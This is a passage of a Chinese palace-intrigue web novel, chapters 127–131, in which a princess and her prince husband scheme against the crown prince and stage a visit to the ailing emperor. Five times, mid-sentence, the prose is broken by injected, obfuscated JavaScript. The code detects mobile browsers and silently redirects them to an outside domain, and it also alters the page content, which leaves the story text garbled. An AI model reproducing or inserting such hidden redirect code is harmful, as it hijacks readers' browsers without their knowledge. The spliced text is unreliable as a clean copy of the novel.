赶上沈惊澜大肆给温若初的孩子准备衣裳和玩具,犹豫了好长时间,说服小辛,让小玉接荣王府的活。 当然,月儿没把小辛卖了,全部揽到自己身上。 这两口箱子里的衣裳是小玉承接荣王府的第一单生意。 月儿愧疚极了,一边是对自己恩重如山的主子,一边是身世凄惨的小姐妹。 月儿哭得上气不接下气的。 “是奴婢不对,求公主责罚。” 跪地磕了好几个头。 温若初方才看过箱子里的衣裳,针脚密实平整,绣工一点也不比身上这件蜀锦袄子差。 她再次扶起月儿,微微叹了一口气。 “你早应该和我直说的,我又不是铁石心肠不讲理的夜叉,不差这箱衣裳了,月儿想做善事留下,那就留下,以后小公子的衣裳就交给那个小玉来做。” 月儿连连谢了好几声。 “咱们公主是活菩萨,”秋菊给月儿拿了一条温热帕子擦眼泪,“瞧你哭的,花猫一样。” “还是咱们大虞的女子有福气,不仅可以入学,还可以参加科举和男人同朝为官,在夫家地位也不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15455773|169526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雍国可比的。” 月儿擦干净眼泪,眼眶红红的,看向温若初,像是在看救世主。 “公主也让雍国女子读书科举吧,像小玉这样的情况,若是学得优秀,每年奖励的银子都够养家的了,日后谋个一官半职,就能脱离苦海了。” 温若初:“……” 看着月儿,爱莫能助地苦笑两声。 雍国和大虞国情不同,女学和女子教科之所以能在大虞推行,是因为大虞的皇帝是女子,有先天的思想条件,有女皇支持实施起来相对容易。 而在这里,有皇后和柳妃,一个豺,一个狼,前头还有老皇帝那个恶虎。 她和沈惊澜最重要的是自保,没有余力帮其他人,想别的。 主仆几人说着话,冯文敲门进来。 “郡主,我方才瞧见沈星驰了,和沈雨霁一起去的翠云居。” 前阵子御史台**太子沈星驰,**,贪赃枉法,**良家女子数条罪行,往来账目,卷宗文书详尽,当时闹得沸沸扬扬,百姓议论纷纷。 老皇帝可能是迫于御史台和百姓压力,下令将太子软禁东宫,任何人不得求情。 翠云居是雍国都城一家私人成立的豢养舞姬和乐师的地方,里面的舞姬和乐师从小调教,琴棋书画,歌舞礼仪样样精通。 明着是一家舞乐馆,实际上就是供都城达官显贵玩乐的地方。 “沈星驰犯了那么多条罪状,一点事都没有,还能出去享乐,简直就是没有天理,圣人若是雍国皇帝就好了。”冯文不满抱怨。 温若初靠坐在床榻里,撑着脑袋,微微叹了一口气,坐起身。 她和沈惊澜弄了两箩筐的卷宗,想按死沈星驰。 沈星驰的那些爪牙被拔得差不多了,沈星驰自己连皮都没破。 结果有些不尽如人意,倒是也像老皇帝能干出来的事。 老皇帝生了十三个儿子,唯一当做儿子的就是太子沈星驰,其他儿子在老皇帝眼里,是臣子,更是可以喘气的工具。 哪里需要用在哪里,不需要了,看不顺眼了,可以随意丢弃。 冯文喋喋不休抱怨,“就不能让沈星驰绳之以法吗?” “有!” 温若初沉吟半晌,倏然撩起眼皮看向前方某一处,眸光倏然犀利起来。 老皇帝执意护着沈星驰,想让老皇帝降罪,沈星驰伏法,除非沈星驰大逆不道,犯上作乱。 板子只有打在自己身上,才知道疼! 第127章 又想到一起去了 荣王府书房 “老皇帝是横了心要护着沈星驰,扳倒沈星驰……难。” 古叔花白的眉毛蹙在一起,坐在茶台前,双手接过沈惊澜递过来的茶盅。 他得了沈星驰被老皇帝放出来的消息,不止放出了沈星驰,还做了一大堆伪证,找了十几个替罪羊,那些贪赃枉法,**……就那么轻飘飘结案了。 刑部甚至还抓了几个在酒楼闲聊沈星驰罪行的百姓。还四处以沈星驰东宫名义为百姓发放粮食,做善事,博名声。 古叔捶胸顿足,真是可气又可惜,筹备了十几年的卷宗,投进了不知道多少精力进去。 到头来,沈星驰就这么轻而易举地脱身了。 公主的冤屈不知道要什么时候才能伸张。 手边茶灶上铜壶咕咚咕咚地响,烟雾厚重的有些呛人。 范天恩拉着脸,一盅茶仰头一口灌进肚子,愤愤道。 “实在不行,趁着夜深人静,我宰了他,简单利落,省着沈星驰在外面活蹦乱跳祸害人。” “莽撞!” 古叔白了范天恩一眼,“杀沈星驰容易,沈星驰做过的那些恶如何公之于众?昭明的案子只有昭明帝了,百姓和史书才能认。” 哪怕是新君**,也难免为世人诟病。 尤其是寒妃的冤屈,沈星驰**,这桩陈年旧案,将永无昭雪之日。 昭明是雍国老皇帝的年号。 老皇帝一条路走到黑,执意保沈星驰,皇权最大,旁人只有听之任之的份。 老皇帝依律严惩沈星驰,这个想法有点天方夜谭。 他们好像走进了一条死胡同,在完成一件不能完成的事。 范天恩无奈又气愤,长叹一口气,低着头不说话了。 沈惊澜一身月牙白锦袍,烟气和水雾笼罩下的俊脸,多了几分难以捉摸的朦胧感。 他面色凝重,端起茶盅抿了两口,似乎早料到今天这个结果,没有太大的情绪波动。 “扳倒沈星驰难是难了些……” 他拎起茶灶上的铜壶放到一边,水沸声消失,空气安静下来,沈惊澜接着道。 “……不是全然做不到。” 古叔眼睛亮了亮,“阁主想到了法子?” 沈惊澜摩挲着茶盅边沿,若有所思。 “假如沈星驰犯上谋逆,逼宫篡位呢?” 老皇帝咳疾多年,近一两年尤其严重,始终没放权,遍寻天下术士,名医为自己诊病,可见是个惜命,不想死,又重权的。 先君臣后父子,皇权可以给,但不能从皇帝手里抢,这是古往今来帝王权威从来都不允许任何人挑衅。 沈星驰若真威胁到了老皇帝的皇权和性命,老皇帝也是人,刀架在脖子上,也会本能挥刀砍回去。 古叔和范天恩倒吸一口冷气,互看一眼,此招胜算极大。 只是,沈星驰如今贵为太子,老皇帝视沈星驰眼珠子一样。 如何才能让沈星驰犯上谋逆,逼宫篡位? “咚咚咚” 书房门板响起,打断几人说话。 范天恩起身开门,见到来人,丧气的脸硬是挤出几分笑意,恭敬道。 “王妃娘娘。” 温若初穿着一件赤色锦缎袄裙,前襟用银线钩绣朵朵梅花,在阳光下闪着熠熠的光,小腹微微隆起,头上盘着发髻,斜插一只梅花簪。 明明是妇人的打扮,却眼眸清亮,尽显少女才有的那娇俏灵动劲。 她手里端着乌木托盘,托盘里放着两碟子小点心,眉眼含笑,迈步走进书房。 “干喝茶多没意思,给你们加点茶点。” 点心摆到茶台上。 古叔和范天恩站到一边,齐声道谢。 “多谢王妃娘娘。” 沈惊澜挪出一个空位给温若初。 “以后这些粗活让下人来做。” “反正我也没什么事,顺道就来了。” 温若初没坐,看向沈惊澜,闲聊似的出声道。 “越临近年关,天越冷,父皇的咳疾这两日又严重了,我那有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15455774|169526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两株天山雪莲,明日我陪殿下进宫给父皇请安的时候带上。” 温若初本就是来找沈惊澜商量扳倒沈星驰的事,在门口听到几人说话。 沈惊澜的想法和她不谋而合。 只有沈星驰对老皇帝生出不臣心思,并且付诸行动,威胁到老皇帝手中皇权和性命,老皇帝才能狠下心对沈星驰举起屠刀。 有她在,老皇帝就算厌恶沈惊澜,看在大虞驸马的份上,也会多给沈惊澜些面子。 更何况凌玄礼还在都城,老皇帝至少明面上说得过去。 她又怀了双生子…… 沈星驰的儿子感染了风寒,卧床十几日了,听说那孩子情况不大好,小儿子呆呆傻傻不成器。 皇后和沈星驰看着老皇帝对沈惊澜态度转变,时间长了难免心生芥蒂。 沈惊澜对上温若初视线,两人相处多日,不需多言,一个眼神就知道对方的想法,想要做什么。 他错开视线看向别处,下耷的睫毛掩饰住眼底浓浓的忧心和关切。 “天冷路滑,王妃还是好生留在王府,王妃的孝心,本王一定带到。” “孝心哪有需要人替的道理,有王爷在妾身身边,定能护妾身周全。” 温若初打定主意掺和进去。 她和沈惊澜已结为夫妻,在外人看来,她和沈惊澜是一体,由不得她不掺和这场无硝烟的斗争。 躲在沈惊澜背后,能躲到几时? 她挺着肚子,有事没事去皇后和太子妃眼前转悠一圈,她就不信皇后和沈星驰不急。 没给沈惊澜继续拒绝的机会,温若初偏头笑盈盈地看向古叔。 “古叔不是也经常提醒,让我走走,对孩子好?” 范天恩不知道听没听懂这两个人的哑谜,古叔是听懂了。 让阁主和王妃一起出入皇宫,险是险了些,用肚子里的两位小公子,时不常刺激一下皇后和沈星驰那边,不失为一个好的法子。 古叔拱手道:“王妃所言极是。” 第128章 ** 隔天,天还没亮,温若初缩在暖烘烘的被窝里,迷迷糊糊耳边传来簌簌穿衣声,像是提前感知到什么似的,手先于大脑做出反应。 伸出胳膊,精准地抓住沈惊澜衣角,抬头看向沈惊澜,睡意瞬间全无。 屋内光线有些昏暗,早晨的太阳光还没照进来,沈惊澜的大半身影都在黑暗中,背对着她。 沈惊澜不愿意带她,他想自己走。 温若初眨着一双眼睛,灵动的眸子中带着不加掩饰的关切和不满。 “你干嘛去?” 明知道沈惊澜要做什么去,故意问了一句,语气中含着几分诘问意味。 沈惊澜穿着素白里衣,赤着脚,手里拎着鹿皮厚底朝靴,打算去外间穿衣裳,轻手轻脚地起床,没想到还是把人吵醒了。 沈惊澜回手轻轻拍了拍她的手背,没正面回答她的问题。 “时辰还早,你多睡一会儿。” “你要进宫给父皇请安,挑衅沈星驰?”温若初直言道。 没松开沈惊澜衣角,反而整个人贴了上去,侧脸蹭了蹭沈惊澜宽厚脊背。 “我们是夫妻,你的事就是我的事,我也可以像范天恩古叔他们一样,站在你身边,做你的幕僚,帮你为寒妃伸冤,然后我们一起登上高位。” 温若初的声音很低,语气真切。 沈惊澜脊背僵了僵,丢下手里鹿皮厚底朝靴,回身抱住她,双臂环得很紧。 “我把你带到身边,不是让你担心受怕身处险地。” 温若初吸了吸鼻子。 “我知道老皇帝皇后沈星驰还有那个柳妃,这些人没有一个良善之辈,你不想让我身处险境,我也已经身处险境了,又不能一直缩在府里不出去,总是要面对的。” 前朝后宫联系千丝万缕,沈惊澜可以在朝堂上和老皇帝沈星驰斗法,后宫战场就得她上。 像之前一样,沈惊澜和她相互配合,一明一暗。 温若初抱着沈惊澜的侧腰,抬眼偷偷打量沈惊澜神色。 沈惊澜眉目紧锁,似乎在斟酌可行性,神色已经明显有松动迹象。 温若初半开玩笑,“你若怕我身处险境,那我和凌大人回大虞?” “想都别想!” 沈惊澜眼底挣扎和斟酌一下子就没了,脱口而出。 也不知道是联想到了什么,沈惊澜蹙起的眉头蹙得更深了,脸色比外面的天色还黑,弯腰把脚踏上的绣鞋递到温若初脚边。 “穿衣裳去,和我一起进宫。” 温若初低笑两声,知道这招管用,没想到这么管用。 这才对嘛,手起刀落,当机立断才是沈惊澜的行事方式。 早这么干脆,她也不至于拿出这招**锏。 本以为还要磨上一番嘴皮子,还有一肚子腹稿没用呢,没想到提一嘴和凌玄礼回大虞,沈惊澜二话不说就答应了。 秋菊和月儿进来伺候,温若初梳洗打扮。 温若初坐在铜镜前,自己动手化妆,这次和沈惊澜去给老皇帝请安,是为让让老皇帝看起来“偏宠”沈惊澜,进而达到刺激沈星驰和皇后的目的。 老皇帝和沈惊澜之间矛盾由来已久,让老皇帝主动“偏宠”沈惊澜是不行的,那就得想点别的折子。 孕中期,肚子里的两个小崽子也不闹腾了,温若初能吃能喝,气色看起来比没怀身孕的时候都好。 她自己调了调脂粉颜色,均匀涂抹在脸上,蜡黄蜡黄的,眼窝瞄黑,看起来一副被吸干气血的病弱样子。 化完妆,故意做出无精打采的样子,衣裳是素色的,佝偻着身子,摇摇晃晃回头,看上去病得和老皇帝有一拼。 秋菊月儿包括沈惊澜都呆愣住了。 沈惊澜打量她的脸色,面上难掩关切之色,急道。 “你……你病了,别动,”吩咐秋菊,“去叫古叔过来。” 秋菊也以为温若初突然身子抱恙了,不敢耽搁,抬腿就要走。 “不用,不用,回来。” 温若初赶紧叫住秋菊,瞬间破功大笑两声。 “我没病,”指着自己的脸,梗着脖子,语气傲娇。 “脂粉涂的,厉害吧。” 她可是二十一世纪穿过来的,化妆技能对于她这个社畜来说,简直就是张飞吃豆芽——小菜一碟。 沈惊澜面上忧心未来得及退去,又多了几分惊讶,端详温若初半晌,深吸一口气,勾起唇角,含着几分宠溺的意味,摇了摇头。 “用早膳吧。” 温若初为了保持病娇状态,简单用了点早膳,只垫垫肚子。 早膳过后,带上两株雪莲,和沈惊澜两人同乘一辆马车,马车里准备了六七样,式样精美,或软糯,或酥脆的点心。 马车高大华丽,车厢宽敞,陈设四个软椅,一方雕刻着八仙的红木矮几敦实地摆在中间,矮几上摆着糕点,脚边放着黄铜火盆。 温若初脱下素色披风,坐到软椅里,看着面前各色糕点,吞了吞口水。 沈惊澜拿起一块桂花糕,递到她嘴边。 “尝尝?” “不了。”正事要紧,不然早晨白吃那么少了。 沈惊澜唇角微微翘了翘,像是猜中她心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15466520|169526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思似的。 “王妃怀着双生子身子不适,你看起来病得很‘真’,不差这两块点心。” 温若初舔了舔嘴唇,犹豫半天,接过来桂花糕放到碟子里。 “先放着,回来吃。” 不多时,马车抵达皇宫,到了内门,文官下轿,武官下马,除了太子,所有的皇子都没例外。 初一正是成年皇子们入宫请安的日子,皇子们要先去给老皇帝请安,然后去后宫见母亲,没有皇帝恩准,一个月见一次。 温若初和沈惊澜从马车上下来,凑巧碰到四皇子沈雨霁和四皇子妃张氏。 两家人寒暄问好,一起前往御乾宫拜见老皇帝。 沈惊澜和沈雨霁在前,温若初和张氏携手在后。 张氏是吏部侍郎张守中的女儿,一个四品官员的家的嫡次女,本是配不上皇子,可沈雨霁生母身份低微,不受老皇帝重视,依附于皇后和太子,婚配自然低了一些。 张氏热络地扶着温若初,闲聊说笑间瞅了一眼她的小腹。 “才六个月的肚子就这么大了。” 温若初抚了抚小腹,“府医说是双生子,肚子瞧着比旁人的大些。” “原来如此,这可是大喜事,等会可是要把这个好消息告诉父皇,父皇的咳疾说不定就好了。” 张氏笑着说道,看着温若初的小腹,眼底柔和而爱怜,像是想起什么伤心事,微微叹了一口气。 “女子有孕产子不易,时时注意着,尤其是孕期,时间长,中间不能出一点差错,皇家子嗣珍贵……” 张氏瞅了一眼沈飞白背影,脚步慢了下来,捏了捏温若初手指。 “……无论什么时候,一定要提起十二分精神,方能平安把孩子生下来。” 温若初来雍国也有一阵子了,平常没事听秋菊和月儿闲聊皇子们的八卦,这位四皇子妃张氏曾先后怀过两胎,都莫名其妙没了,有一胎都八个月,小产,是男婴,没保住。 老皇帝十三个儿子,孙子辈却不进人尽,只太子沈星驰有两个儿子,剩下的能平安长大的都是女娃。 她之前就觉得这里面有猫腻。 张氏的暗示也侧面证明了她的猜想。 雍国皇帝豺狼环伺,本就不是什么**塔安乐窝,她是来**的,注定坎坷。 兵来将挡水来土掩就是。 不管张氏是敌是友,这句提醒是善意的,温若初对张氏笑了笑。 “多谢。” 一行人说笑间到了御乾宫老皇帝住的寝宫。 宫人通传后,几人走进寝宫,跪地行礼。 第129章 双生子风波 温若初身子笨重,别人都跪下了,她磨磨蹭蹭还没跪下呢,托着肚子,像模像样屈了好几下膝盖,也没下跪。 老皇帝刚刚用过汤药,坐在椅子上低着头,像是呼吸不顺畅似的喘粗气,眼不睁头不抬。 柳妃站在老皇帝身边,用帕子擦老皇帝嘴角胡须上的脏污。 心里得意,沈惊澜和温若初受刁难。 沈飞白的病情这几日愈发严重了,有进气没出气,看样子要走到他爹前头,对外还要瞒着病情,扬言沈飞白病情好转。 沈飞白就是沈惊澜做的手脚,还有脸带着孕妻到她面前显摆。 瞧这两人穿得穷酸,哪有半点皇家矜贵样子,也不怕丢人现眼。 柳妃一大早听说他们俩来,特意早早来御乾宫伺候,念叨一早晨沈惊澜坏话了,还状似无意地提了两句寒妃。 陛下这会正在气头上呢,且等着吧,一定会让沈惊澜的温若初好看。 柳妃眼角余光瞄了好几眼温若初和沈惊澜,恨不得用刀子杀了他们两。 温若初自己都快演不下去了。 这老登也不上道啊! 还有柳妃这个老妖婆在,今天想从老登·老皇帝手里大张旗鼓抠出点赏赐,貌似有点费劲。 老登不搭理她,可她演都演了,跪也不是,不跪也不是。 正不知道如何是好的时候,腰背附上一只大手,托起她,她侧目看向沈惊澜。 沈惊澜扶起温若初,他眼底闪过一抹犀利而泛着冷意的光,很快被掩盖起来。 未请安高呼万岁,先双膝跪地道。 “儿臣叩见父皇,小初身怀双生子,身子笨重,最近吃睡不得安,听说父皇有咳疾,带来两株她外祖姑母赏赐给她的雪莲,特来请安,念在小初一片孝心的份上,父皇可否对小初网开一面,免了君臣之礼。” 温若初心里啧啧称叹,一直以为沈惊澜是个闷葫芦,这话说的不是挺好听的? 沈惊澜这一番话说得,有理有利有节,特意强调了她和大虞女皇的亲密关系,以及她对老皇帝孝心。 老皇帝就算不喜沈惊澜和她,也不至于在这些无伤大雅的俗礼上做得难看。 凌玄礼还没走呢,回头她去告一状,老皇帝得不偿失。 小辛打开承装雪莲的木盒,两株雪莲整齐摆放在盒子里。 雪莲花生长在高山之上,娇气得很,运输过程中难免有折损,通常研磨成粉保存,即便这样,雪莲作为大虞特有之物,价格高得出奇,基本上不会到雍国这边。 盒子里的两株雪莲,风干过,叶片平整肥大,十分完整的两朵雪莲,一看就是好东西。 老皇帝这才撩起眼皮看了过来,睃了一眼温若初隆起小腹,又瞄了两眼雪莲,正了正身子。 像是才看见温若初似的,慈爱地笑了笑。 “你这孩子也是见外,身子要紧,以后这些俗礼都免了。” “多谢父皇。” “多谢父皇。” 温若初和沈惊澜齐声道。 温若初扶着肚子站定,撑着太阳穴晃了晃身子,看向老皇帝,弱着声音祈求。 “儿臣想和荣王殿下多陪父皇一会,只是……儿臣有些头晕,父皇别见怪,儿臣虽然头晕,身子乏累,四肢酸软,肚子还难受,不过这些都没关系,能看见父皇就好。” “这么多病,你来御乾宫请的什么安,干脆回家躺床上养病算了。”柳妃脸色难看。 温若初一双大眼睛水润润的,一脸无辜,还添加了几分委屈。 “皇子一个月只能请安一次,荣王殿下没有母妃,就剩下这么父皇这么一个至亲,殿下几日前就开始准备今日的请安,儿臣只是想陪荣王殿下尽些孝心。” 可怜巴巴的目光落在老皇帝身上。 “只这么点小小请求,父皇嫌弃荣王殿下的孝心?” 老皇帝嘴角抽搐两下,老九的媳妇嘴巴真是厉害,他若是继续为难,倒是成了他的不是,传出去不像话。 老皇帝不敢表现出嫌弃,扩大脸上慈爱笑容。 “难得你有这份孝心。”吩咐小太监,“来啊,赐座。” “谢父皇。” 温若初实实在在地坐到椅子里,除了老皇帝,旁人都站着,只她坐着,她一点心里压力都没有。 老皇帝让旁人也起身,闲话几句家常,有说有笑,气氛融洽良好,没刻意找沈惊澜的茬,还问了沈惊澜回来住得**不习惯。 又有几位皇子领着王妃前来请安。 闲话间,不知道怎么把话题绕到温若初的双生子上,几个王妃围着温若初的肚子,各种艳羡,或真心或者假意夸温若初有福气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15466521|169526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老皇帝没对沈惊澜和温若初表现出厌恶情绪,偶尔问候两句,别人见风使舵,一个个小嘴跟抹了蜜似的。 “九弟妹初到雍国就有了双生子,双子双生,实乃祥瑞之兆,是神佛庇佑我朝千秋万代,九弟妹真是好福气。” 温若初笑道,“嫂嫂们抬爱了,是陛下福泽深厚,我和谨之沾上了几分,才得了这双生子。” 许是受气氛影响,老皇帝看向温若初的肚子,面上多了几分发自内心的和蔼,点点头。 “怀双生子不易,老九可要照顾好小初,若有差池,朕拿你是问。” 沈惊澜恭敬道:“儿臣遵旨。” 温若初和众人说说笑笑,正打算向老皇帝讨封赏,不知如何开口,就听见柳妃插嘴进来。 “双生子是好,可也忒蒸腾人了,瞧着老九媳妇脸色蜡黄蜡黄的,不如召太医来好好瞧瞧?” 柳妃一脸怀疑的表情看着她,从方才话题扯到双生子,柳妃就没怎么说话,好像不大相信。 温若初心里吹了一声口哨。 瞌睡犯了有人递枕头,好得很。 机会来啦! 她拧了拧柳眉,故作为难道。 “大家正高兴着,儿臣身子并无大碍,还是不麻烦了。” 她忸怩回避的样子,更加重了柳妃对温若初怀有双生子的猜忌,这么多王妃都没怀过双生子,她温若初怎么就坏了。 之前只听说温若初怀了身孕,沈惊澜都不怎么重视那胎,怎么没几日就变成双生子了? 瞧陛下高兴的样子,再想想躺在病床上的沈飞白,柳妃本想看沈惊澜和温若初难堪,一再让他们得了便宜。 柳妃心里难受,鼻子都快气歪了,她倒是想看看这双生子是真是假。 可别是怀了一个单胎,为了让陛下多注意,故意说成双胎。 都知道皇室下一辈有落胎的毛病,哪日胎落了,直接遮掩过去,欺君之罪落不到她头上,平白让他们得了好处。 算盘子打得真响,和当年的寒妃一样有心眼。 柳妃站在老皇帝身后,撒娇似的戳了戳后背。 老皇帝回头瞅了一眼柳妃,稍稍收敛笑容。 “老九媳妇脸色确实不大好……” 也不管沈惊澜温若初当事人同不同意,吩咐李公公。 “……传御医。” 第130章 讨赏 众人察觉到气氛不对劲,纷纷停止了说笑声。 半晌后,御医到,给温若初诊脉后起身,御医是太医院院判侄子,和皇后娘家沾亲带故,姓赵,医术尚可,就是口条有点不利索。 “启禀……陛……陛下,荣王……妃……妃……” 柳妃着急:“怎么样?是双生胎?” 赵御医:“不……不……不……” 柳妃一喜,“不是。” 可算是抓住温若初和沈惊澜的小辫子,“尔等胆敢用双生胎欺瞒陛下。” 看向老皇帝义正言辞,“皇室子嗣事大,容不得半点欺瞒,此等口子一开,日后人人效仿,后患无穷啊。” 老皇帝眉毛一竖,狠狠拍了一把椅子扶手,一脸怒容看向沈惊澜和温若初。 “你二人可知罪?” “不知。” “不知。” 沈惊澜和温若初齐声道。 温若初站起身,侧目看向刚刚为她诊脉的赵御医,急得她都想踢赵御医两脚。 古叔隔三岔五给她请平安脉,古叔说是双生子,就是双生子,她相信古叔医术。 她准备完美,可千万别在这折了。 小声催促赵御医。 “你说话啊。” 沈惊澜也在看着赵御医,神色严肃。 “赵御医?” 口吃之人越着急说话越不利索,柳妃嘴快,这些人你一句我一句,也没给赵御医说话机会。 赵御医插不进去话,憋得满脸通红,狠狠拧了一把大腿,一口气才顺下来。 大声道:“不错!” 老皇帝:“……” 柳妃:“……” 看好戏众人:“……” 温若初和沈惊澜双双松了一口气。 空气短时间凝固。 赵御医总算是得了说话的空,像是没察觉到空气中异样气氛似的,自顾自说道。 “荣王……妃……妃……身子……有……有些……虚……虚弱,需要……好……好生精……精……精养。” 温若初和沈惊澜对视一眼,帕子狠狠揉了两下眼睛,疼得眼泪都挤出来了。 沈惊澜打配合,跪地道。 “儿臣和小初从无欺瞒之心,今后也算是明了,儿臣和小初受些冤屈无妨,父皇莫要自责愧疚伤了身子。” 好茶! 温若初用帕子蹭着眼睛,帕子遮挡忍不住翘起的嘴角,差点忘了,刚认识沈惊澜那会儿,沈惊澜可是绿茶中的高手。 如今用到老皇帝身上,老皇帝也迷糊。 老皇帝:“……” 他确实迷糊了,一时尴尬,似是要对温若初和沈惊澜说什么,张了好几次嘴都没说出口。 柳妃伺候老皇帝时间久了,最会揣摩老皇帝心思。 温若初居然真的怀了双生子。 虽心有不甘,也只能给老皇帝搭台阶,左右这个赵御医是皇后的人,借机打压一下皇后也好。 “赵御医怎么说话都说不利索,闹了这么大的乌龙,险些让荣王和荣王妃蒙受冤屈,你可知罪。” 柳妃的台阶伸过来,老皇帝借坡下驴,扯着僵硬的嘴角,尴尬地笑了两声,瞪了好几眼赵御医。 “你身为太医院御医,说话都说不明白,枉为医者,以后不用去太医院了。” 赵御医急了,扑通一声跪地。 “臣……臣……我……” “滚出去!”老皇帝面色不善。 “是。” 赵御医哭丧着脸走了。 温若初和沈惊澜齐声道谢。 老皇帝自觉理亏,关心好几句温若初,顺带叮嘱沈惊澜。 “怀着双生子就该好生照料,身子怎么会虚弱?是不是府里下人没照顾好?” 沈惊澜:“照顾得精细着,一日三餐加到四餐,”欲言又止,停顿一下,“只是……” “只是什么?” “儿臣初回都城,一无名望,二无官职,没有 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老皇帝赏赐了什么多少银钱不重要,给沈惊澜一个什么品级的官职也不重要,重要的是让旁人,尤其是皇后和太子看到老皇帝对沈惊澜态度上的转变。 一日的三瓜两枣可能不会引人注意,可若是隔几日就赏赐三瓜两枣呢? 温若初和沈惊澜从御乾宫离开,没走出多远,一道清脆声音叫住他们。 “奴婢见过荣王殿下,荣王妃娘娘,殿下娘娘请留步。” 温若初顿住脚步,回头。 叫住他们的是一个宫女打扮,圆脸,约莫二十出头的女子,温若初见过此人,正是前阵子带她和沈惊澜游皇宫,还格外去看了沈惊澜幼年时住的院子,皇后身边的小宫女——采莲。 “采莲姑娘,有事?” 采莲恭敬道:“皇后娘娘懿旨,召荣王妃娘娘前去凤仪宫喝茶。” 第131章 不想捡便宜 沈惊澜面上划过一丝警觉,出于本能,无意识地向前一小步,挡在温若初身前。 “王妃身子疲乏,恐败了皇后娘娘兴致,改日本王陪同王妃一同前去凤仪宫给皇后娘娘赔罪。” 采莲:“皇后娘娘只是听说荣王妃娘娘怀了双生子,被两位小公子折腾得寝食难安,请娘娘过去说两句体己话。” 温若初对沈惊澜浅浅笑了笑,“王爷不必过于忧心妾身的身子,妾身不打紧,皇后娘娘的茶水不知道有多少勋贵妇人求之不得,可是莫大的恩赐。” 抚了抚隆起小腹,“近来两位小公子闹腾,正好妾身也有问题要讨教,皇后娘娘是过来人,愿意和妾身闲话家常,妾身感激皇后娘娘,王爷先行回去,妾身晚些就回。” 知道沈惊澜担心她,可他们做了这么多的准备不就是为了让皇后和太子看见? 御乾宫里没有秘密,估摸着方才御乾宫里每个人说的话,都已经传进了皇后耳朵里。 她去凤仪宫,刚好可以探探那边的口风。 既已入了局,每个人便都是棋子,包括她自己以及腹中两个胎儿。 没得选。 温若初跟随采莲到了凤仪宫。 老皇帝宠爱柳妃,却一直重视皇后这个正妻。 老皇帝的这个皇位坐得顺风顺水,老皇帝是太后唯一嫡子,出生便被立为太子。 当年的雍国,国强民富,可与大虞比肩,又有老臣辅佐,老皇帝顺利地继承了皇位,并且娶了家族地位不高,但却心仪的女子为妻。 可随着老一辈辅臣相继老去,被无数人扶着登上皇位的老皇帝,不善**权术,随着时间推移,雍国内在问题暴露出来。 分封出去的亲王各自在属地为政,朝廷管不动,时间长了威胁到皇权,各地纷争四起。 只能通过外臣去解决。 于是有了柳妃入宫为妃,百年世家柳家的再次崛起。 在老皇帝心里,只有皇后是妻,旁人只能算助他稳固江山的工具。 老皇帝想为沈星驰复制他的登上高位之路,却不知他不是先皇,沈星驰也不是他,雍国更是今时不同往日。 采莲打开门帘,温若初信步走进。 主位端坐一鬓发花白妇人,身着酱紫色绣着凤凰的袄裙,嘴角微微带着笑意,和下手位一位年轻美妇人说话。 她进来,两人齐齐看向她。没等温若初屈膝行礼,皇后抬眼看了过来。 “你怀着身子,不必多礼,快过来坐。” 皇后的眼睛瞅了一眼方才说话的美妇人,对温若初道。 “正好太子妃也在,娘儿们几个说会话。” “谢皇后娘娘。” 温若初和太子妃微笑点头,坐到太子妃左手空位。 皇后打量她的脸色,直皱眉。 “脸色怎的这么不好?也是本宫疏忽了,近些日子没着人去探望。” 社畜化出来的丧气妆,就是给你们看的。 早晨没怎么吃东西,饿了小半天了,想提精神都提不起来了。 温若初勾唇浅笑,“谢皇后娘娘体恤,方才在御乾宫御医诊过脉,儿臣是有些身子虚弱,营养不良所致。” 提起诊脉,皇后就生气,赵御医已经来过了。 赵御医是她娘舅家的外甥,医术没的说。 赵御医在太医院做了十几年,又不是今日口条不利索,陛下和柳妃都是知道的。 那个柳妃就是搅屎棍,耍狐媚子手段,自己听不懂人话,为了讨好陛下,反倒把错归在她的人身上。 皇后脸色不好。 